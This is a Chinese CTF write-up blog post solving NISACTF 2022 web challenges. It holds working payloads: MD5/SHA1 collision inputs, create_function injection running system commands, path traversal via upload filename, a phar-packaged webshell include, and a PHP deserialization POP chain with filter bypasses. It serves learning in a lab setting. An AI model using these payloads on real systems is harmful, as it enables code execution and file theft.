• [NISACTF 2022]上


    目录

    [NISACTF 2022]checkin

    ​编辑 [NISACTF 2022]level-up

    第三层  sha1碰撞

    第四层 

    第五层

    [NISACTF 2022]babyupload

    [NISACTF 2022]easyssrf 

    [NISACTF 2022]bingdundun~

    第一步:构造phar包

    第二步:

    第三步

    [NISACTF 2022]babyserialize 

    (1)eval反推到__invoke

    (2)__invoke反推到__toString

    (3)__toString反推到__set

    (4)从__set反推到__call


    有 create function注入,和parse_url的知识,phar发送木马文件压缩绕过

    md5强比较,sha1强比较,editor的使用学到蛮多了加油

    [NISACTF 2022]checkin

    打开界面本来以为是简单的get传参,结果发现有的字符不能选中,选了好几下也不可以很蹊跷,仅仅想到了可能是代替的一些东西吧,然后csdn了一下

    【神奇的Unicode编码】这个符号竟然可以从右往左打印字符串 - Lxxx

     php打开,发现存在特殊字符,因为这道题,了解了一个软件editor

    然后url编码就可以,比如先找get里面的

     %E2%80%AE%E2%81%A6%55%67%65%69%77%6F%E2%81%A9%E2%81%A6%63%75%69%73%68%69%79%75%61%6E

     

     %E2%80%AE%E2%81%A6%20%46%6c%61%67%21%E2%81%A9%E2%81%A6%4E%31%53%41%43%54%46

     [NISACTF 2022]level-up

    真不容易呀,加油!

    这道题打开以后发现少都没有,但是感觉disallow这是一个突破口

    实在不知道是啥,然后搜了一下disallow,发现这个是存在与robots.txt文件中的,浏览器访问一下

     啊啊啊,出来了,访问下面的php,爆出来了源码

    1. //here is level 2
    2. error_reporting(0);
    3. include "str.php";
    4. if (isset($_POST['array1']) && isset($_POST['array2'])){
    5. $a1 = (string)$_POST['array1'];
    6. $a2 = (string)$_POST['array2'];
    7. if ($a1 == $a2){
    8. die("????");
    9. }
    10. if (md5($a1) === md5($a2)){
    11. echo $level3;
    12. }
    13. else{
    14. die("level 2 failed ...");
    15. }
    16. }
    17. else{
    18. show_source(__FILE__);
    19. }
    20. ?>

    array1[]=1&array2[]=2本来觉得数组绕过就可以可是,发现输出了????

    原因是php的数组在进行string强制转换时,会将数组转换为NULL类型 null=null就成立了,没绕过去

    所以我们需要一个,md5前不相等,而md5后全等的

     payload:array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
     

    第三层  sha1碰撞

    array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
    

    第四层 

    1. //here is last level
    2. error_reporting(0);
    3. include "str.php";
    4. show_source(__FILE__);
    5. $str = parse_url($_SERVER['REQUEST_URI']);
    6. if($str['query'] == ""){
    7. echo "give me a parameter";
    8. }
    9. if(preg_match('/ |_|20|5f|2e|\./',$str['query'])){
    10. die("blacklist here");
    11. }
    12. if($_GET['NI_SA_'] === "txw4ever"){
    13. die($level5);
    14. }
    15. else{
    16. die("level 4 failed ...");
    17. }
    18. ?>

    在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了,such as:`CTF[SHOW.COM`=>`CTF_SHOW.COM`

     这样也可以,或者

    考察parse_url的漏洞

    http://1.14.71.254:28023///level_level_4.php?NI_SA_=txw4ever

    parse_url函数的解释和绕过_q1352483315的博客-CSDN博客_url绕过

    第五层

     额应该是最后一惯了,看见$a($b)想到create function注入,自带eval命令执行

    因为$a正则所以开头加个\绕过

    ?a=\create_function&b=}system('tac /flag');//

    }为了闭合前面 //注释掉后面得出flag

    [NISACTF 2022]babyupload

    打开页面,哦一道文件上传的题,想看看源码,有没有前端过滤啥的,结果看见了source,访问一下

    下载得到一个python文件,可以知道这是一个flask项目,这就开始了审代码环节

    1. from flask import Flask, request, redirect, g, send_from_directory
    2. import sqlite3
    3. import os
    4. import uuid
    5. app = Flask(__name__)
    6. SCHEMA = """CREATE TABLE files (
    7. id text primary key,
    8. path text
    9. );
    10. """
    11. def db():
    12. g_db = getattr(g, '_database', None)
    13. if g_db is None:
    14. g_db = g._database = sqlite3.connect("database.db")
    15. return g_db
    16. @app.before_first_request
    17. def setup():
    18. os.remove("database.db")
    19. cur = db().cursor()
    20. cur.executescript(SCHEMA)
    21. @app.route('/')
    22. def hello_world():
    23. return """
    24. Select image to upload:
    25. """
    26. @app.route('/source')
    27. def source():
    28. return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)
    29. @app.route('/upload', methods=['POST'])
    30. def upload():
    31. if 'file' not in request.files:
    32. return redirect('/')
    33. file = request.files['file']
    34. if "." in file.filename:
    35. return "Bad filename!", 403
    36. conn = db()
    37. cur = conn.cursor()
    38. uid = uuid.uuid4().hex
    39. try:
    40. cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
    41. except sqlite3.IntegrityError:
    42. return "Duplicate file"
    43. conn.commit()
    44. file.save('uploads/' + file.filename)
    45. return redirect('/file/' + uid)
    46. @app.route('/file/')
    47. def file(id):
    48. conn = db()
    49. cur = conn.cursor()
    50. cur.execute("select path from files where id=?", (id,))
    51. res = cur.fetchone()
    52. if res is None:
    53. return "File not found", 404
    54. # print(res[0])
    55. with open(os.path.join("uploads/", res[0]), "r") as f:
    56. return f.read()
    57. if __name__ == '__main__':
    58. app.run(host='0.0.0.0', port=80)

    也就是说,我们让res[0]为/flag就行了

     

    只需要把filename设为/flag,文件内容随便写,上传就会获得网站,点开就会出现flag

    [NISACTF 2022]easyssrf 

    自从被坑过,easy这种已经不相信了

     这种方式不正确,可是弄出来了提示

    file读取文件

     

    stristr:函数是,字符串二在字符串一中的位置,如果有返回当前到之后,第三个变量默认为false,如果是true则返回当前串之前的字符 

     

    伪协议搞定

    [NISACTF 2022]bingdundun~

    .php htacess后缀都不能上传,传了个图片码可是,连不上呀,断绝了我的想法

     看完师傅们的wp我,不禁赞叹,完全没想到本来以为phar协议只会出现在反序列化里面

    可以看到提示有图片或者压缩包,想到了phar协议和zip协议,其实在此之前我是根本没听过这两个协议的(惭愧)

    第一步:构造phar包

    创建一个test.php

    1. $phar = new Phar("exp.phar");
    2. $phar->startBuffering();
    3. $phar->setStub("");
    4. $phar->addFromString("test.php", '');
    5. $phar->stopBuffering();
    6. ?>

    其实相对于,phar反序列化,少一个mete序列化

    第二步:

    把生成的exp.phar,改成exp.zip然后通过文件上传功能点上传

    第三步

    访问上传的文件zip/test是一句话木马写入的文件名

    然后可以链接蚁建,

    密码8

    http://1.14.71.254:28416/?bingdundun=phar://2fac0d2460c2648c7b8b624a9a71e42e.zip/test

    或者

    [NISACTF 2022]babyserialize 

    1. include "waf.php";
    2. class NISA{
    3. public $fun="show_me_flag";
    4. public $txw4ever;
    5. public function __wakeup()
    6. {
    7. if($this->fun=="show_me_flag"){
    8. hint();
    9. }
    10. }
    11. function __call($from,$val){
    12. $this->fun=$val[0];
    13. }
    14. public function __toString()
    15. {
    16. echo $this->fun;
    17. return " ";
    18. }
    19. public function __invoke()
    20. {
    21. checkcheck($this->txw4ever);
    22. @eval($this->txw4ever);
    23. }
    24. }
    25. class TianXiWei{
    26. public $ext;
    27. public $x;
    28. public function __wakeup()
    29. {
    30. $this->ext->nisa($this->x);
    31. }
    32. }
    33. class Ilovetxw{
    34. public $huang;
    35. public $su;
    36. public function __call($fun1,$arg){
    37. $this->huang->fun=$arg[0];
    38. }
    39. public function __toString(){
    40. $bb = $this->su;
    41. return $bb();
    42. }
    43. }
    44. class four{
    45. public $a="TXW4EVER";
    46. private $fun='abc';
    47. public function __set($name, $value)
    48. {
    49. $this->$name=$value;
    50. if ($this->fun = "sixsixsix"){
    51. strtolower($this->a);
    52. }
    53. }
    54. }
    55. if(isset($_GET['ser'])){
    56. @unserialize($_GET['ser']);
    57. }else{
    58. highlight_file(__FILE__);
    59. }
    60. //func checkcheck($data){
    61. // if(preg_match(......)){
    62. // die(something wrong);
    63. // }
    64. //}
    65. //function hint(){
    66. // echo ".......";
    67. // die();
    68. //}
    69. ?>

    pop链表题,先找尾巴也就是可以实现输出flag的命令

    public function __invoke()
        {
            checkcheck($this->txw4ever);
            @eval($this->txw4ever);
        }       感觉eval可以实现

    (1)eval反推到__invoke

    这里先看到eval,而eval中的变量可控,所以肯定是代码执行,而eval又在__invoke魔术方法中

    __invoke魔术方法是对象被当做函数进行调用的时候所触发

    这里就反推看哪里用到了类似$a()这种的。

    (2)__invoke反推到__toString

    在Ilovetxw类的toString方法中,返回了return $bb;

    __ToString方法,是对象被当做字符串的时候进行自动调用

    (3)__toString反推到__set

    在four的__set中,调用了strolower方法。对字符串进行了操作

    (4)从__set反推到__call

    __set:对不存在或者不可访问的变量进行赋值就自动调用
    __call:对不存在的方法或者不可访问的方法进行调用就自动调用
    这里反推到Ilovetxw中的__call方法,而__call方法又可直接反推回pop链入口函数__wakeup

    构造

    invoke-->tostring-->set-->call-->wakeup

    NISA--->ilovetxw--->four-->ilovetxw->Tianxiwei

    1. class NISA{
    2. public $fun;
    3. public $txw4ever="System('ls /');";
    4. }
    5. class TianXiWei{
    6. public $ext;
    7. public $x;
    8. }
    9. class Ilovetxw{
    10. public $huang;
    11. public $su;
    12. }
    13. class four{
    14. public $a="TXW4EVER";
    15. private $fun='abc';
    16. }
    17. $T=new TianXiWei();
    18. $N=new NISA();
    19. $I=new Ilovetxw();
    20. $F=new four();
    21. $T->ext=$I;
    22. $I->huang=$F;
    23. $F->a=$I;
    24. $I->su=$N;
    25. echo urlencode(serialize($T));

     根据题目,hint

       if($this->fun=="show_me_flag"){
                hint(); 然后把hint的属性清空

    看见有过滤,我第一次传参 system过滤掉了,大小写就可以绕过

    public $txw4ever = "\$a='sy';\$b='stem';(\$a.\$b)('cat /f*');";也是一种绕过手段

    尤其是system后面的分号必须加

    public $txw4ever="System('cat /fllllllaaag');改为cat就可以了

     这道题干了我一个小时,还是不够熟练加油!

  • 相关阅读:
    在浏览器里面输入 url,到浏览器显示页面中间发生了什么?
    kwebio/kweb-core:面向后端的轻量级 Kotlin Web 框架
    STM32MP157汇编流水灯
    信号量的使用和示例
    设计模式-单例模式
    python+django网吧会员管理系统
    【开源】串口/蓝牙/TCP/UDP调试工具SerialTest
    Flutter 教程之 Flutter CI/CD 和自托管的 GitHub Action
    Visual Studio 中使用 CMake
    上位机图像处理和嵌入式模块部署(树莓派4b进行自动化测试)
  • 原文地址:https://blog.csdn.net/qq_62046696/article/details/125965534